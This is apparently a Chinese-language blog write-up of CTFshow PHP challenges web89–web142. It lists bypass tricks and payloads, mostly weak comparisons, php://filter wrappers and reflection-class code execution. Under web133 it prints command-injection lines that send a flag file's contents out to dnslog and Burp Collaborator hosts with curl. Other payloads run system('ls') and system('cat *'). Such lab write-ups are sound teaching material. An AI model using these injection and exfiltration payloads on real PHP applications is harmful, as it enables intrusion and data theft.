web89

pregmatch不能处理数组

intval遇到非空数组返回1

?num[]=0

web90

base为0时通过检测 var 的格式来决定使用的进制

4476a也可以

web91

通过开头加%0A来匹配/im

web92

同web90

web93

开头加0,intval转成八进制来算

web94

要出现0而且不能是在开头

那就4476.0

web95

num变成+010574就行了。。。

web96

我输的是../html/flag.php

其实直接./flag.php就行了

web97

用数组绕过md5比较

web98

分析代码,就是如果GET值存在,GET的值就是POST的值

考虑POST传HTTP_FLAG=flags

web99

in_array里沿用了==弱比较

n可以是1.php

web100

<?php
$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false

我惊了

因为=的优先级比and高...

考虑第二部分

v1=1&v2=var_dump($ctfshow)/*&v3=*/;
v1=1&v2=?><?php echo `ls`?>/*&v3=;*/
v1=1&v2=-system('ls')-&v3=-1;
v1=1&v2=echo&v3=;system('ls');

还是挺灵活的>w<

web101

还是不会。。。答案是利用了反射类

不是很懂

?v1=1&v2=echo new Reflectionclass&v3=;

web102

这里v1用hex2bin

php5的环境中,是可以识别十六进制的

在php7中不行

考虑对于v3用伪协议php://filter/write=convert.base64-decode/resource=1.php

v2用经BASE64加密后转成的十六进制

其中<?=`cat *`;加密后去掉=的十六进制(5044383959474e6864434171594473)符合条件

web103

同上。。?

web104

我直接v1=1,v2=1了。。。

#payload
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

记录一个Hint的payload

web105

非常有趣的题

我的方法是直接利用die($error)

?x=flag

error=x

web106

直接上sha1弱比较的payload了...

web107

parse_str表示将字符串解析成变量

v3=QNKCDZO

POST
v1=flag=0

web108

ereg有%00截断的漏洞

?c=a%00778

web109

反射类..?

?v1=Exception&v2=system('cat *')

?v1=Reflectionclass&v2=system('cat *')

还不是特别懂。。。

教程

web110

FilesystemIterator 获取指定目录下的所有文件

getcwd()函数 获取当前工作目录 返回当前工作目录

?v1=FilesystemIterator&v2=getcwd

web111

$GLOBALS能引用全局作用域中可用的全部变量,一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

web112

这里首先要绕过is_file,也就是file不能是一个文件

而且还要通过filter过滤

php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

或者二次编码来绕过

?file=php://filter/read=convert.%2562ase64-encode/resource=flag.php

我到现在还只是知道伪协议而已...

web113

这个更玄学QwQ

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

/proc/self/root指向根目录。。。多次重复就可以绕过is_file...

web114

同web112。。?

web115

%0c36可以绕过is_numeric和trim

小测试~

for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
   }
}

web123

这题有两个有趣的地方

还有就是可以在执行的语句里直接把flag输出,不用赋值什么fl0g

看来还是我思路不够灵活.

web125

想到了可以用highlight_file却没有想到可以套一个$_GET...

GET:?1=flag.php

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

网上的另外两种做法:

CTF_SHOW=1&CTF[SHOW.COM=2&fun=var_export(get_defined_vars())

CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me

好神啊TwT

web126

其实这题也是有很多方法的。。。

get: ?0=var_export($GLOBALS);
post: CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($_REQUEST[0])


GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])


GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

这里的$_SERVER['argv']值得玩味

web127

这题的做法竟是用BP跑一下。。。

copy一个waf测试

经过测试
<?php
function curl($url){
    $ch=curl_init($url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($ch);
    curl_close($ch);
    return strlen($result);
}
for ($i=0; $i < 128; $i++) { 
    $url="http://127.0.0.1/flag.php?ctf".urlencode(chr($i))."show=1";
    if(curl($url)!==0){
        echo urlencode(chr($i))."\n";
    }
}
我们发现
ctf   + _ [ .    show 等同于 ctf_show

web128

gettext拓展的使用
在开启该拓展后 _() 等效于 gettext()
get_defined_vars — 返回由所有已定义变量所组成的数组
payload:f1=_&f2=get_defined_vars

web129

php://filter是可以套一层乱七八糟的协议的...

原来还可以跳目录。。。

f=php://filter/read=convert.base64-encode/ctfshow/resource=flag.php
f=/ctfshow/../../../../var/www/html/flag.php

web130

直接post一个ctfshow就行了...因为+要匹配至少一个.

web131

* 和 + 限定符都是贪婪的,因为它们会尽可能多的匹配文字,只有在它们的后面加上一个 ? 就可以实现非贪婪或最小匹配。

非贪婪模式匹配原理简单来说是, 在可配也可不配的情况下, 优先不匹配. 记录备选状态, 并将匹配控制交给正则表达式的下一个匹配字符, 当之后的匹配失败的时候, 再溯, 进行匹配.

源字符串: aaab正则: .? 匹配过程开始的时候, “.?”首先取得匹配控制权, 因为是非贪婪模式, 所以优先不匹配, 将匹配控制交给下一个匹配字符”b”, “b”在源字符串位置1匹配失败(“a”), 于是回溯, 将匹配控制交回给”.?”, 这个时候, “.?”匹配一个字符”a”, 并再次将控制权交给”b”, 如此反复, 最终得到匹配结果, 这个过程中一共发生了3次回溯.

默认是backtrack_limit是100000

一个网上的脚本

import requests

url = 'http://1841dcf9-5186-4e2c-a3f6-99d22d8c0628.challenge.ctf.show'
esp = 1000000
ebp = 100000
while True:
	middle = int((esp+ebp)/2)
	print(middle)
	payload = 'ctfsho' * middle + '36Dctfshow'
	data = {
		'f': payload
	}
	r = requests.post(url=url, data=data)
	print(r.text)
	if 'ctfshow{' in r.text:
		print(r.text)
		break
	elif 'Too Large' in r.text:
		esp = middle
	elif 'bye' in r.text:
		ebp = middle

web132

||优先级低于&&

所以只要满足username=admin&code=admin就行了

web133

很好玩的一道题

答案是一个套娃

F=`$F`; sleep 3

其中``是shell_exec()函数的缩写

eval会执行``$F`; sleep 3`

然后用curl函数把flag带出来

?F=`$F`; curl `cat flag.php|grep "flag"`.xxx.dnslog.cn

相当于先执行``里面的语句,再访问网址

还可以利用Burp Collaborator Client来获取源代码

?F=`$F`; curl -X POST -d "`cat flag.php`" gp9wjupsrszlaxjyjynjalefv61ypn.burpcollaborator.net

一篇有趣的文章

web134

_POST[key1]=36d&_POST[key2]=36d

然后查看界面源码

web135

cp flag.php 1.txt后再直接访问

hint里的方法是ping `cat flag.php|awk 'NR==2'`

不是很会。。。

web137

calc_user_func的使用

ctfshow::getFlag

web138

数组也能调用类。。。

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web140

intval(intval(array()))=="ctfshow"

web142

直接输0就可以了。。。

不知道考什么


告别纷扰,去寻找生活的宝藏。